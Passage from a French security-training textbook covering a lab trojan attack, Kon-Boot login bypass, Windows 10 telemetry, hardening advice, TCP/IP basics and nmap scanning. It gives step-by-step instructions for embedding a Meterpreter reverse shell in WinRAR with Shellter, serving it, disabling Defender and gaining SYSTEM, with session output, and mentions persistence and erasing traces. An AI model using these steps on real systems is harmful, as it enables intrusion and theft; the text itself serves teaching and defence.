msf5 > db_nmap --script smb-vuln* -p 445 10.0.0.11,52-53

Restrict
ed
Comme toutes les machines sont à jour, aucune faille ne sera trouvée.

Pour illustrer la suite, il faut placer un cheval de Troie dans un exécutable 32 bits avec
l’utilitaire Shellter.

L’installation de Shellter sous Linux Ubuntu ou Debian.

# apt update
# apt install shellter
Téléchargez un programme 32 bits (par exemple winrar version 5.71).

Il faut ensuite ajouter le cheval de Troie (ici Meterpreter_Reverse_TCP) à l’exécutable.

# cd/usr/share/shellter/
# wine shellter.exe
Dans Shellter, exécutez les opérations suivantes :

 Sélectionner A (pour auto).

 Taper le chemin complet de l’exécutable (PE Target: /root/wrar571.exe).

 Sélectionner Y (pour stealth) pour cacher le payload.

 Sélectionner L (pour list) pour indiquer que vous allez faire une sélection dans la liste.

 Sélectionner 1 (pour Meterpreter_Reverse_TCP (1)).

 Encoder l’adresse IP de la destination (la machine Kali : 10.0.0.51).

 Encoder le port d’écoute de destination (Listening port : 8080).

Une copie de sauvegarde de l’exécutable d’origine est automatiquement créée.

Le fichier .exe est ensuite modifié afin d’insérer le cheval de Troie.

Il suffit ensuite de mettre le fichier à disposition sur un serveur web. Par exemple, le serveur Apache
disponible par défaut sur Kali).

Copiez le fichier modifié dans le répertoire d’Apache :

# cp wrar571.exe /var/www/html
Démarrez le serveur web :

#service apache2 start


Il faut maintenant démarrer MSF et le faire écouter sur le port 8080 afin de pouvoir intercepter la
connexion du cheval de Troie :

# msfconsole
Sélectionnez l’exploit :
msf5 > use exploit/multi/handler

Sélectionnez le payload :

msf5 > set payload windows/meterpreter/reverse_tcp

Restrict
ed
Définissez les options (le port d’écoute et l’adresse IP de l’interface qui va recevoir la demande de
connexion) :
msf5 > set LPORT 8080
msf5 > set LHOST 10.10.10.51

Il est possible de visualiser les options avec la commande show options.

En il faut lancer l’exploit :

msf5 > exploit


Si depuis une machine Windows, un utilisateur télécharge et exécute le programme d’installation,
une connexion sera automatiquement ouverte vers la machine Kali comme nous allons le voir.

Cette attaque est maintenant détectée par l’antivirus intégré à Windows. Il faut donc le désactiver
temporairement avec les manipulations suivantes :

 Cliquer sur le logo Windows.

 Puis sur Paramètres.

 Sélectionner Mise à jour et sécurité.

 Choisir Sécurité Windows.

 Choisir ensuite Protection contre les virus et menaces :

 Et dans Paramètres de protection contre les virus et menaces :

 Sélectionner Gérer les paramètres.

 Désactiver la protection en temps réel.

Cette dernière sera automatiquement réactivée au démarrage de Windows.

À l’exécution, Windows indique que l’application n’est pas signée par un éditeur connu. Il faut
choisir Exécuter quand même et autoriser l’élévation de privilèges.

Dans MSF, une connexion s’est établie :

[*] Started reverse TCP handler on 0.0.0.0:8080


[*] Sending stage (179779 bytes) to 10.0.0.53
[*] Meterpreter session 1 opened (10.0.0.51:8080 -> 10.0.0.53:50046)
at 2019-06-03 21:17:06 +0200 meterpreter >

Il suffit maintenant de l’exploiter !

Voici les informations de la machine :


meterpreter >sysinfo
Computer : PC-02
OS : Windows 10 (Build 17763).
Architecture : x64
System Language : fr_FR
Domain : FORMATION

Restrict
ed
Logged On Users : 7
Meterpreter : x86/windows

Comme il y a eu élévation de privilèges, le processus est administrateur du système :


meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In
Memory/Admin)).
meterpreter > getuid
Server username: AUTORITE NT\Système

Et pour accéder au shell de la machine distante :


meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 7012 created.
Channel 2 created.
Microsoft Windows [version 10.0.17763.529]
(c) 2018 Microsoft Corporation. Tous droits réservés.

C:\Users\socrate.FORMATION\Downloads>dir
dir
Le volume dans le lecteur C n'a pas de nom.
Le numéro de série du volume est D237-3C9E

Répertoire de C:\Users\socrate.FORMATION\Downloads

03-06-19 21:15 <DIR> .


03-06-19 21:15 <DIR> ..
25-05-19 21:40 <DIR> mimikatz_trunk
25-05-19 21:40 921.326 mimikatz_trunk.zip
03-06-19 21:15 2.918.912 wrar571.exe
2 fichier(s) 3.840.238 octets
3 Rép(s) 48.256.696.320 octets libres

C:\Users\socrate.FORMATION\Downloads>

Il est maintenant possible de faire ce que l’on veut sur la machine.

Idéalement, il faut rendre le cheval de Troie persistant en le transférant sur un processus activé à
chaque démarrage, récupérer les informations utiles, effacer ses traces et pivoter vers une autre
machine du réseau.

1. Cas pratique

Bypass authentification

Kon-Boot est un petit programme écrit en Assembleur et multiplateforme qui permet le bypass de
l’authentification sous Windows et macOS X (https://kon-boot.com/).

La suite est très simple, il suffit de booter sur le CD Kon-Boot et de le laisser s’exécuter.

Restrict
ed
Kon-Boot va contourner l’authentification, lancer l’OS, et afficher l’écran d’ouverture de session. Il ne
reste plus alors qu’à cliquer sur le compte désiré et la session s’ouvrira sans demander de mot de
passe !

Big Data et confidentialité

Le 27 septembre 2015, Terry Myerson, vice-président de Microsoft, postait un message officiel


(https://blogs.windows.com/windowsexperience/2015/09/28/privacy-and-windows-10/
#OM92l9t2lHLbGrKe.97) concernant les données collectées et la confidentialité de Windows 10 :

"Je vous assure qu’aucune autre entreprise n’est plus engagée, plus transparente et à l’écoute des
clients sur ce sujet important…

Dès le début, nous avons conçu Windows 10 avec deux principes simples de confidentialité à l’esprit :

 Windows 10 collecte des informations pour que le produit fonctionne mieux pour vous.

 Vous maîtrisez la capacité de déterminer les informations recueillies.

Avec Windows 10, les informations que nous collectons sont chiffrées durant le transit vers nos
serveurs, puis stockées dans des installations sécurisées."

Mais dans les faits ?

Nous avons voulu mener notre propre expérience. Deux machines virtuelles identiques ont subi la
même installation de Windows 10. Sur la première aucune modification n’a été réalisée tandis que la
seconde a été modifiée afin de réduire les échanges d’informations.

Aucune installation de logiciel tiers n’a été effectuée et personne ne s’est connecté sur les postes de
travail hormis pour faire l’installation de Windows 10.

Une capture du trafic réseau a été réalisée sur les machines durant trois heures.

Windows 10 d’origine Windows 10 modifié

Nombre de paquets échangés 23.649 108

Nombre de requêtes DNS 61 4

Nombre d’URL différentes 19 1

Windows 10 communique beaucoup sur Internet :

 Communications vers www.bing.com, ssw.live.com (OneDrive ?), Cortana…

 Téléchargement de nouvelles informations à partir du réseau de MSN en HTTP (non chiffré !).

 Demandes contournant les proxys vers une distribution de contenu réseau.

Donc le prix à payer pour utiliser les services comme Cortana, OneDrive… est la perte de
confidentialité !

Parmi les informations recueillies, on retrouve :

Restrict
ed
 la géolocalisation ;

 la télémétrie ;

 les données de navigation ;

 le partage des accès Wi-Fi ;

 les entrées vocales, manuscrites et clavier ;

 la personnalisation des publicités du navigateur ;

 …

Le système d’exploitation dispose de nombreux boutons censés désactiver la plupart de ces


fonctionnalités et les connexions potentiellement compromettantes de la vie privée mais dans la
pratique, cela ne suffit pas à endiguer complètement le flux d’informations.

Afin de réduire le trafic, il a fallu désactiver des services, désinstaller des applications et des mises à
jour de Microsoft !

Le plus dérangeant est que certains envois semblent contenir une identification et que le but même
de ces collectes d’informations n’est pas défini !

Quelques liens utiles :

 https://www.justgeek.fr/windows-10-desactiver-la-collecte-de-donnees-43324/

 https://arstechnica.co.uk/information-technology/2015/08/even-when-told-not-to-
windows-10-just-cant-stop-talking-to-microsoft/

 https://arstechnica.com/information-technology/2015/08/windows-10-doesnt-offer-much-
privacy-by-default-heres-how-to-fix-it/

Restrict
ed
Conclusion
Il pourrait être dangereux de laisser libre accès à son ordinateur. Que ce soit le vol de mots de passe
ou l’injection de programmes malveillants, tout est possible dès lors que l’accès à la machine est
autorisé. Il existe encore bien d’autres pratiques pour récupérer des données sur une machine
accessible physiquement, mais ce chapitre donne un aperçu des méthodes les plus usitées.

L’important est d’être sensibilisés à ce problème et de respecter les règles de bon sens suivantes :

 Restreindre autant que possible l’accès physique à notre machine.

 Protéger le BIOS de notre machine et mettre un mot de passe sur le boot.

 Avoir un mot de passe intégrant une notion de complexité (alphanumérique +


caractères spéciaux).

 Interdire le boot sur autre chose que le disque dur.

 Fermer la session de notre ordinateur en cas d’absence de courte durée ou l’arrêter pour les
longues durées.

 S’assurer de la mise à jour des systèmes, antivirus et autres anti-spywares.

 Empêcher tous les mécanismes de montage automatique de périphériques.

 Activer essentiellement les accès physiques indispensables au travail.

 Utiliser un système de chiffrement des données confidentielles.

 Virtualiser.

 Séparer les privilèges.

 Choisir des mots de passe avec intelligence.

 Privilégier l’authentification multifacteur.

 Mettre à jour les systèmes.

 Informer et former les utilisateurs.

Respecter ces règles, rendra plus difficile l’accès aux données sensibles et bien des ennuis seront
évités.

La sécurité des systèmes n’est pas chose aisée car la menace peut provenir de multiples sources.

Enfin, une surveillance active par les journaux système et des sauvegardes à jour sont vos garde-fous
en cas d’attaque.

Restrict
ed
Les failles réseaux
Généralités
Les réseaux actuels sont basés sur des normes qui datent de la création d’Internet. Les évolutions
technologiques et l’apparition de nouveaux médias ont ouvert de nouvelles brèches en plus des
failles résiduelles originelles.

Les failles réseau touchent le simple particulier comme la grande entreprise. Ce chapitre nous aidera
à appréhender quelques aspects du hacking au niveau réseau et des contre-mesures associées.

Rappel sur les réseaux TCP/IP


Les notions décrites ci-dessous sont primordiales. Elles constituent le fondement de tout réseau
TCP/IP moderne.

1. Le modèle OSI

L’écriture d’un programme unique gérant toutes les tâches nécessaires au fonctionnement d’un
réseau serait très complexe, voire un cauchemar pour la personne devant le réaliser ou le maintenir.
Aussi, à des fins de standardisation et de simplification, le modèle OSI (Open Standardization for
Interconnection) a été créé. Chaque couche joue son rôle et s’appuie sur les autres couches pour les
fonctionnalités qui ne sont pas de son ressort.

En voici une synthèse :

Synthèse du modèle OSI

2. Adresse MAC et adresse IP

Dans les réseaux locaux actuels, les périphériques réseau sont très souvent reliés entre eux par une
liaison filaire de type Ethernet (norme 802.3x) ou sans fil Wi-Fi (802.11a/b/g/n/ac). Dans les deux cas,
la ou les cartes réseau présentes dans les périphériques sont identifiées individuellement par une
adresse appelée adresse MAC (Media Access Control). Cette adresse MAC est gérée au niveau de la
couche 2 du modèle OSI.

L’adresse MAC, développée pour fonctionner dans un réseau local (LAN), est uniquement utilisée en
local et l’information ne traverse pas les routeurs.

Restrict
ed
L’arrivée d’Internet change la donne en permettant de relier un ensemble de réseaux à la toile via
des routeurs. Le routeur, qui a pour tâche principale d’envoyer l’information dans la bonne direction
(vers le bon réseau), est un élément essentiel des réseaux modernes.

Il faut donc définir une autre information permettant d’identifier un périphérique et qui peut
traverser un routeur : c’est l’adresse IP. Un peu comme l’adresse postale détermine de manière
unique et non équivoque une habitation, une adresse IP identifie une interface dans un réseau (voire
même le périphérique si celui-ci ne possède qu’une interface).

La gestion des adresses IP est réalisée par la couche 3 du modèle OSI. En version 4, l’adresse IP
(Internet Protocol) est constituée de quatre nombres de 0 à 255 séparés par un point
(XXX.XXX.XXX.XXX). Dans l’exemple de la figure suivante, l’adresse IPv4 est 192.168.200.51.

Exemple d’adresse IPv4 sous Windows

Le développement rapide d’Internet a amené une pénurie d’adresses IPv4. Pour y


remédier temporairement, plusieurs mécanismes comme l’adresse privée et la traduction d’adresses
ont été développés.

Depuis, un nouveau protocole IPv6 permet entre autres d’augmenter considérablement le nombre
d’adresses IP disponibles. Une adresse IPv6 est longue de 128 bits et se compose de huit champs de
16 bits, chacun étant délimité par ":". Chaque champ est composé de nombres hexadécimaux
(nibble) allant de 1 à 4.

Le format d’adresse IPv6 de base est : XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX.

Voici un exemple : 2001:0:130F::9C0:876A:130B

Bien souvent, bien que IPv4 reste le protocole le plus utilisé dans les réseaux internes des entreprises
sur les machines actuelles, IPv4 et IPv6 sont activés en même temps, ce qui double la surface
d’attaque. De plus, la configuration d’IPv6 est bien souvent négligée alors qu’IPv6 est prépondérant
par rapport à IPv4.

3. Notion de passerelle, de masque et de sous-réseau

Un réseau (ou sous-réseau) représente généralement l’ensemble des machines situées dans une
même zone géographique comme une petite entreprise ou un réseau domestique, un département
ou service dans les réseaux plus importants.

Le masque de sous-réseau permet de déterminer le sous-réseau en faisant un ET logique entre les


valeurs binaires de l’adresse IP et du masque.

Le schéma ci-dessous représente une porte "ET" (ou "AND"). Comme nous pouvons le voir, il faut
impérativement un signal "1" aux deux portes d’entrées A et B pour obtenir un signal "1" en sortie C.

Porte logique ET (ou AND)

Les masques les plus courants sont 255.255.255.0 (/24 : 24 bits à 1), 255.255.0.0 (/16) et 255.0.0.0
(/8).

Restrict
ed
Voici un exemple de calcul de sous-réseau :

192.168.200.51 converti en binaire devient : 11000000 . 10101000 . 11001000 . 00110011

255.255.255.0 converti en binaire devient : 11111111 . 11111111 . 11111111 . 00000000

Le sous-réseau est (192.168.200.0) : 11000000 . 10101000 . 11001000 . 00000000

Pour déterminer si un hôte est ou non dans le même sous-réseau qu’une machine, celle-ci
transforme l’adresse IP de destination en binaire et applique un ET logique entre cette adresse et son
masque. Si le résultat est identique à son sous-réseau, alors le périphérique de destination est dans
le même sous-réseau. Si le résultat est différent, alors la cible est sur un autre réseau. Exemples :

Machine source :

IP source (192.168.1.1) : 11000000 . 10101000 . 00000001 . 00000001

Masque (255.255.255.0) : 11111111 . 11111111 . 11111111 . 00000000

Le sous-réseau source est (192.168.1.0) : 11000000 . 10101000 . 00000001 . 00000000

Machine 1 :

IP destination (192.168.1.50) : 11000000 . 10101000 . 00000001 . 00110010

Masque (255.255.255.0) : 11111111 . 11111111 . 11111111 . 00000000

Le sous-réseau destination est (192.168.1.0) : 11000000 . 10101000 . 00000001 . 00000000

La première cible est sur le même réseau que ma machine.

Machine 2 :

IP destination (192.168.2.1) : 11000000 . 10101000 . 00000010 . 00000001

Masque (255.255.255.0) : 11111111 . 11111111 . 11111111 . 00000000

Le sous-réseau destination est (192.168.2.0) : 11000000 . 10101000 . 00000010 . 00000000

La seconde cible n’est pas sur le même réseau que ma machine.

Tous les appareils situés sur un même réseau peuvent communiquer directement l’un avec l’autre
(sans passer par un routeur nommé passerelle) en utilisant la couche 2 du modèle OSI et sont connus
de tous via leur adresse MAC. La table ARP permet d’associer une adresse IPv4 à une adresse MAC et
est maintenue par le protocole ARP (Address Resolution Protocol).

La passerelle permet à un ordinateur de communiquer avec un autre dispositif qui n’est pas situé
dans son réseau. Autrement dit, lorsqu’un périphérique a des informations à transmettre à une
machine qui n’est pas dans son réseau, elle expédie ces données à sa passerelle de routage qui elle, a
en charge d’envoyer les données vers le destinataire.

4. TCP et UDP

TCP (Transmission Control Protocol) est un protocole orienté connexion, c’est-à-dire qu’il permet à
une application d’être sûre que les données envoyées sur le réseau ont bien été reçues dans leur
intégralité (entier, sans erreur et dans le bon ordre) sans devoir gérer cela elle-même. Pour cela, TCP
doit établir une connexion de bout en bout avec le destinataire et doit maintenir une table d’état de

Restrict
ed
tous ses flux de données qui entrent et sortent de la couche TCP. Malheureusement, pour fournir
cette qualité de service, il faut transmettre un grand nombre d’informations en plus des données
proprement dites.

Les mécanismes offerts par TCP ne sont pas toujours utiles ou appropriés, par exemple lorsqu’il y a
peu de données utiles à transmettre ou qu’une communication en temps réel est nécessaire. Pour ce
faire, un protocole de communication minimaliste a été créé : UDP (User Datagram Protocol),
protocole en mode non connecté.

5. Les services et les ports

De même que le nom du destinataire sur une lettre permet de connaître à qui est destiné le courrier
envoyé, un numéro de port permet d’identifier une application (ou plus exactement un service) dans
un ordinateur.

Principe de socket et de circuit (connexion)

La liaison TCP ainsi établie (192.168.200.51:49846 - 173.194.65.91:443) est un circuit virtuel composé
de deux sockets : 192.168.200.51:49846 et 173.194.65.91:443. Un circuit unique est donc
l’association de deux sockets pour un protocole donné. Les numéros de port sont utilisés par la
couche 4 du modèle OSI par les protocoles TCP et UDP.

Les services sont répartis sur des ports numérotés de 1 à 65535 divisés en groupes par l’IANA
(Internet Assigned Numbers Authority) :

 Les ports bien connus (well known) de 0 à 1.023.

 Les ports enregistrés de 1.024 à 49.151.

 Et les ports privés ou dynamiques de 49.152 à 65.535 (conventionnellement la seule plage


libre).

Restrict
ed
Port Type Service Les

21 TCP FTP

22 TCP SSH

23 TCP TELNET

25 TCP SMTP

53 TCP/UDP DOMAIN

80 TCP HTTP

110 TCP POP3

111 TCP ONC RPC

135 TCP MS RPC

143 TCP IMAP

443 TCP HTTPS

445 TCP MS DS

993 TCP IMAP over SSL

6667 TCP IRC

ports "bien connus" et les ports "enregistrés" sont souvent exploités du côté serveur tandis que les
ports dynamiques sont utilisés en général du côté client.

6. Les adresses IPv4 publiques et privées

Les adresses IP publiques sont gérées par l’ICANN (Internet Corporation for Assigned Names and
Numbers). Cet organisme attribue les adresses IP aux différents fournisseurs d’accès à Internet (FAI)
qui, à leur tour, les louent aux particuliers et entreprises afin de leur permettre de se connecter à
Internet.

Pour connaître son adresse IP publique, il existe des sites comme www.mon-ip.com.

Exemple d’adresse IPv4 publique

Il existe des adresses publiques, utilisables sur Internet, comme celles utilisées par les FAI, et
des adresses privées qui ont comme particularité de ne pas être "routables". En effet, ces dernières
ne peuvent pas être acheminées (convention) par les routeurs dans la zone publique. Elles
constituent donc un moyen très simple de différencier la zone externe (non fiable) de la zone interne
(théoriquement fiable). Les notions d’adresse privée et de NAT (Network Address Translation) ont été
introduites dans les années 1990 afin de pallier le manque d’adresses IPv4.

Restrict
ed
Les adresses IPv4 publiques et privées

Il existe également les adresses dites de bouclage : 127.0.0.0/8 (/8 = 255.0.0.0).

La plus utilisée est 127.0.0.1 qui correspond à "localhost" donc la machine locale.

Les adresses IPv4 peuvent être fournies :

 manuellement par encodage par l’utilisateur ;

 automatiquement par un serveur DHCP (généralement le routeur pour le particulier) ;

 automatiquement par le système d’exploitation si aucune configuration n’a été encodée par
l’utilisateur et qu’aucun serveur DHCP n’a été trouvé. Dans ce cas, les adresses IP sont dites
de liaison locale et appartiennent à la plage 169.254.0.0/16 (de 169.254.0.0 à
169.254.255.255).

Outils pratiques

Cette partie rassemble différents utilitaires utiles au quotidien.

1. Des informations sur les sockets

netstat permet de connaître les services et ports ouverts sur votre machine, ainsi que les différents
états des connexions (Linux, OSX et Windows). Lancez :
netstat -a[nt]
-a Affiche toutes les connexions et tous les ports d'écoute.
-n Affiche des adresses et numéros de ports en format numérique.
-t Affiche l'état actuel de déchargement de la connexion.

Restrict
ed
Visualisation des sockets avec netstat sous Windows

Les états possibles sont les suivants :

 ESTABLISHED : connexion établie.

 SYN_SENT et SYN_RECV : connexion en cours d’établissement.

 CLOSE : socket fermé.

 CLOSE_WAIT : socket en attente de fermeture.

 LISTENING : un service est ouvert sur ce port.

L’analyse des résultats permet de voir que :

 deux connexions ont été établies vers des serveurs de Google (173.194.65.91 et
173.194.66.100) sur les ports 443 (HTTPS) ;

 une connexion a été établie vers un serveur ENI (185.42.28.201) sur le port 80 (HTTP).

lsof permet de lister tous les fichiers ouverts. Tous les éléments du système étant considérés comme
des fichiers sous Linux, les sockets ne font pas exception à la règle. Lancez :

lsof -ni tcp


-n empêche la conversion de numéros réseau (adresses décimales) en noms d’hôte pour les fichiers
réseau.

-i sélectionne les fichiers dont l’adresse Internet correspond à l’adresse spécifiée avec -i.

Cette commande permet de lister les connexions et les PID associés aux différents programmes en
fonctionnement.

Cet outil peut être très utile afin de connaître quel programme ouvre des sockets sur votre
ordinateur.

Restrict
ed
Visualisation des programmes ayant ouvert des sockets avec lsof

Pour avoir le même genre d’informations sous Windows, il faut utiliser TCP View de Mark
Russinovich. Toute la "Sysinternals Suite" est d’ailleurs très utile pour les administrateurs Windows.

Visualisation des programmes ayant ouvert des sockets avec TCP View

2. Des informations sur une adresse publique ou un nom de domaine

Il existe des sites spécialisés comme http://whois.domaintools.com/ permettant d’enregistrer les


noms de domaines sur Internet, mais également d’afficher l’ensemble des données relatives à un
domaine.

Exemple d’informations disponibles via un"DNS registrer"

L’adresse IP 173.194.65.91 est enregistrée au nom de Google Inc. Cette information a été obtenue
par le serveur DNS ee-in-f91.1e100.net.

3. Scanner de port TCP

Nmap est un scanner de port. Cet outil incontournable permet de scanner un hôte ou un réseau afin
de déterminer si des machines sont présentes, quels ports sont ouverts, et même de trouver le
système d’exploitation cible.

Le choix de la distribution Debian est purement arbitraire.

Installation de nmap sous Debian :

apt install nmap

a. Scanner sa propre machine


Quels sont les ports ouverts sur notre machine ?

Restrict
ed
Visualisation des ports ouverts sur sa machine locale avec nmap

nmap 127.0.0.1 permet de réaliser un scan des ports ouverts sur la machine locale. L’adresse
127.0.0.1 est une adresse logique de la machine locale (localhost) indépendante des interfaces
physiques. Les ports 22 et 111 sont ouverts en TCP.

b. Scanner un sous-réseau
Il existe plusieurs techniques pour scanner un réseau avec nmap. Nous allons utiliser un réseau de
test composé de plusieurs machines et périphériques et d’un IDS (Snort sous pfSense) avec une
configuration de base.

Afin de se rapprocher le plus possible d’un cas réel, la topologie du réseau ne sera pas dévoilée !

Le choix d’une technique de scan sera toujours un compromis entre efficacité et bruit. Autrement dit,
les techniques qui donnent le plus d’informations sont également les plus bruyantes (les plus
facilement repérables).

Nous allons tester quelques techniques en commençant par les plus évasives et regarder à chaque
fois les résultats dans l’IDS Snort ou dans les logs des différents OS (s’il y en a).

La figure ci-dessous montre comment activer le pare-feu sous Windows 7 et supérieur.

Activation du pare-feu sous Windows

Sous GNU/Linux, les logs sont enregistrés avec deux critères :

Restrict
ed
 Facility : qui définit la source.

 Severity : qui définit le niveau de risque.

Les logs en provenance d’iptables sont toujours classés dans la "facility kern" (non
modifiable facilement).

Voici une technique pour ajouter un journal séparé pour les logs d’iptables :
$ sudo iptables -A INPUT -i eth0 -j LOG --log-level warning

La règle iptables ci-dessus permet d’enregistrer tous les paquets sur l’interface eth0 avec un niveau
"warning".
kern.=warning -/var/log/iptables.log

L’ajout de la ligne ci-dessus dans le fichier /etc/syslog.conf permet de copier les événements ayant
une sévérité "warning" dans un fichier spécifique /var/log/iptables.log.

Il ne reste plus qu’à créer le fichier de log :


$ sudo touch /var/log/iptables.log

Et à redémarrer le service syslog.


$ sudo /etc/init.d/sysklogd restart

Commençons le scan.

Les informations fournies par le serveur DHCP à la machine Kali vont servir de base :
root@kali:~# nmcli device show eth0
GENERAL.PÉRIPHÉRIQUE: eth0
GENERAL.TYPE: ethernet
GENERAL.ADR.-MAT.: 00:0C:29:63:29:7D
GENERAL.MTU: 1500
GENERAL.ÉTAT: 100 (connecté)
GENERAL.CONNEXION: Wired connection 1
GENERAL.CON-PATH: /org/freedesktop/NetworkManager/
ActiveConnection/0
WIRED-PROPERTIES.PORTEUSE: marche
IP4.ADRESSE[1]: 192.168.0.52/24
IP4.PASSERELLE: 192.168.0.254
IP4.DNS[1]: 192.168.0.11
IP4.DOMAINE[1]: formation.local
IP6.ADRESSE[1]: fe80::20c:29ff:fe63:297d/64
IP6.PASSERELLE:

La machine Kali a l’adresse IP 192.168.0.52 et est dans le sous-réseau 168.168.0.0/24.

L’adresse IP de la passerelle est 192.168.0.254.

Le serveur DNS a l’adresse 192.168.0.11 et le suffixe DNS "formation.local".

IPv6 n’est pas utilisé sur le réseau hormis l’adresse unique locale unicast générée automatiquement
(EUI-64).

Restrict
ed
c. Scanner un réseau sans communiquer directement avec la cible
La découverte des machines (-sL : list scan) permet de détecter des machines de manière "passive"
(sans communiquer directement avec les machines cibles) en utilisant le mécanisme du DNS. Le
système de noms de domaine (DNS) met en corrélation les noms de domaine avec les adresses IP en
utilisant différents enregistrements. Un enregistrement "A" fournit l’adresse IPv4 associée à un nom
de domaine et un enregistrement de pointeur DNS (PTR) fournit le nom de domaine associé à une
adresse IPv4. La recherche DNS inversée est utilisée lorsqu’une requête recherche le nom de
domaine associé à une adresse IPv4.

Recherche de PTR via des requêtes DNS


root@kali:~# nmap -sL 192.168.0.0-254
Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-29 18:29 CEST
...
Nmap scan report for dc-01.formation.local (192.168.0.11)
...
Nmap scan report for pc-01.formation.local (192.168.0.51)
...
Nmap done: 255 IP addresses (0 hosts up) scanned in 0.04 seconds

En 4 centièmes de seconde, les machines 192.168.0.11 et 192.168.0.51 ont été trouvées et l’IDS n’a
rien remarqué d’anormal puisque le trafic généré est totalement standard.

d. Scanner un réseau sans scanner les ports


Avec l’option -sn (no port scan), les opérations suivantes sont effectuées par défaut (si root) :

 Une requête ICMP echo request vers la cible.

 Une requête TCP SYN vers le port 443 de la cible.

 Une requête TCP ACK vers le port 80 de la cible.

 Une requête ICMP timestamp request vers la cible.

 Une requête Standard Reverse DNS query vers le serveur DNS.

 Une requête ARP who has ? (si la cible est dans le même sous-réseau).

Restrict
ed
Scan No Port Scan
root@kali:~# nmap -sN 192.168.0.0-254

Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-29 19:16 CEST


Nmap scan report for 192.168.0.2
Host is up (0.020s latency).
All 1000 scanned ports on 192.168.0.2 are open|filtered
MAC Address: C2:01:15:65:00:00 (Unknown)

Nmap scan report for dc-01.formation.local (192.168.0.11)


Host is up (0.000095s latency).
All 1000 scanned ports on dc-01.formation.local (192.168.0.11) are
open|filtered
MAC Address: 00:0C:29:7F:2A:2F (VMware)

Nmap scan report for pc-01.formation.local (192.168.0.51)


Host is up (-0.100s latency).
All 1000 scanned ports on pc-01.formation.local (192.168.0.51) are
open|filtered
MAC Address: 00:0C:29:B1:A9:59 (VMware)

Nmap scan report for 192.168.0.53


Host is up (0.0046s latency).
All 1000 scanned ports on 192.168.0.53 are closed
MAC Address: 16:31:04:FF:7C:94 (Unknown)

Nmap scan report for 192.168.0.254


Host is up (0.00013s latency).
All 1000 scanned ports on 192.168.0.254 are open|filtered
MAC Address: 00:0C:29:D4:3D:A4 (VMware)

Nmap scan report for 192.168.0.52


Host is up (0.000042s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
111/tcp open|filtered rpcbind

Nmap done: 255 IP addresses (6 hosts up) scanned in 151.90 seconds

Il est possible de spécifier un DNS via les options suivantes :

 --dns-servers <server> : spécifie un DNS spécifique.

 --system-dns : utilise le DNS du système hôte.

Six machines sont maintenant connues !

Les adresses MAC indiquent que la majorité des machines sont virtuelles. Si ces dernières avaient été
physiques, les adresses MAC auraient donné des indications sur le fabricant du matériel.

Restrict
ed
L’indication "scanned ports … are open|filtered" permet de supposer la présence d’un pare-feu ou
d’une machine Windows, tandis que l’indication "scanned ports … are closed" indique généralement
la présence d’une machine Linux.

Le port 111 indique qu’il s’agit très certainement d’une machine Linux ou SUN. En effet, le protocole
ONC RPC (Open Network Computing Remote Procedure Call) ou SUN RPC utilise le port 111. Il a une
fonction similaire à DCOM DCE sous Windows (port 135).

e. Scanner un réseau via "TCP SYN scan" (half open scan)


Ce scan était considéré comme furtif parce qu’il simule partiellement une demande de connexion
légitime.

La connexion TCP n’est pas initiée totalement ("semi-ouverte"). Les ports sont donc ouverts puis
fermés immédiatement après la connexion par le noyau laissant moins de traces dans les logs des
pare-feu et les IDS. Ce n’est plus vraiment le cas de nos jours.

Voici le comportement sur un port ouvert :

TCP SYN scan sur un port ouvert

Voici le comportement sur un port fermé :

TCP SYN scan sur un port fermé

Voici le comportement sur un port filtré (pare-feu) :

Restrict
ed
TCP SYN scan sur un port filtré

Il faut être "root" sur la machine source afin de pouvoir envoyer des données brutes (raw) sur le
réseau.

L’option -f fragmente les paquets afin de rendre plus difficile la détection du type de paquet par le
pare-feu, tandis que l’option --reason affiche la cause de l’état d’un port.

Cette attaque est théoriquement :

 plus difficilement détectable et filtrable ;

 rapide (pas de connexion complète) ;

 non entravée par les pare-feu restrictifs ;

 relativement discrète et furtive ;

 capable de détecter les ports filtrés.

Nmap utilise par défaut le SYN scan mais optera automatiquement pour le Connect scan si
l’utilisateur ne dispose pas des droits suffisants.

Le scan est visible dans les logs des pare-feu parmi les autres événements enregistrés. Voici un
exemple sous Windows :
2017-04-29 20:36:04 DROP TCP 192.168.0.52 192.168.0.51 51560 445 44 - 0 0 0 - - - RECEIVE
2017-04-29 20:36:05 DROP TCP 192.168.0.52 192.168.0.51 51561 445 44 - 0 0 0 - - - RECEIVE
2017-04-29 20:36:05 DROP TCP 192.168.0.52 192.168.0.51 51560 139 44 - 0 0 0 - - - RECEIVE
2017-04-29 20:36:05 DROP TCP 192.168.0.52 192.168.0.51 51561 139 44 - 0 0 0 - - - RECEIVE

Par contre, Snort a bien détecté le scan :

Détection du TCP SYN scan par Snort


root@kali:~# nmap -sS -f 192.168.0.2 192.168.0.11 192.168.0.51
192.168.0.53 192.168.0.254 --reason
Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-29 22:20 CEST
Nmap scan report for 192.168.0.2
Host is up, received arp-response (0.014s latency).
Not shown: 997 closed ports
Reason: 997 resets

Restrict
ed
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 255
23/tcp open telnet syn-ack ttl 255
80/tcp open http syn-ack ttl 255
MAC Address: C2:01:15:65:00:00 (Unknown)

Nmap scan report for dc-01.formation.local (192.168.0.11)


Host is up, received arp-response (0.00030s latency).
Not shown: 982 filtered ports
Reason: 982 no-responses
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 128
88/tcp open kerberos-sec syn-ack ttl 128
135/tcp open msrpc syn-ack ttl 128
139/tcp open netbios-ssn syn-ack ttl 128
389/tcp open ldap syn-ack ttl 128
445/tcp open microsoft-ds syn-ack ttl 128
464/tcp open kpasswd5 syn-ack ttl 128
593/tcp open http-rpc-epmap syn-ack ttl 128
636/tcp open ldapssl syn-ack ttl 128
3268/tcp open globalcatLDAP syn-ack ttl 128
3269/tcp open globalcatLDAPssl syn-ack ttl 128
49154/tcp open unknown syn-ack ttl 128
49155/tcp open unknown syn-ack ttl 128
49157/tcp open unknown syn-ack ttl 128
49158/tcp open unknown syn-ack ttl 128
49159/tcp open unknown syn-ack ttl 128
49167/tcp open unknown syn-ack ttl 128
49176/tcp open unknown syn-ack ttl 128
MAC Address: 00:0C:29:7F:2A:2F (VMware)

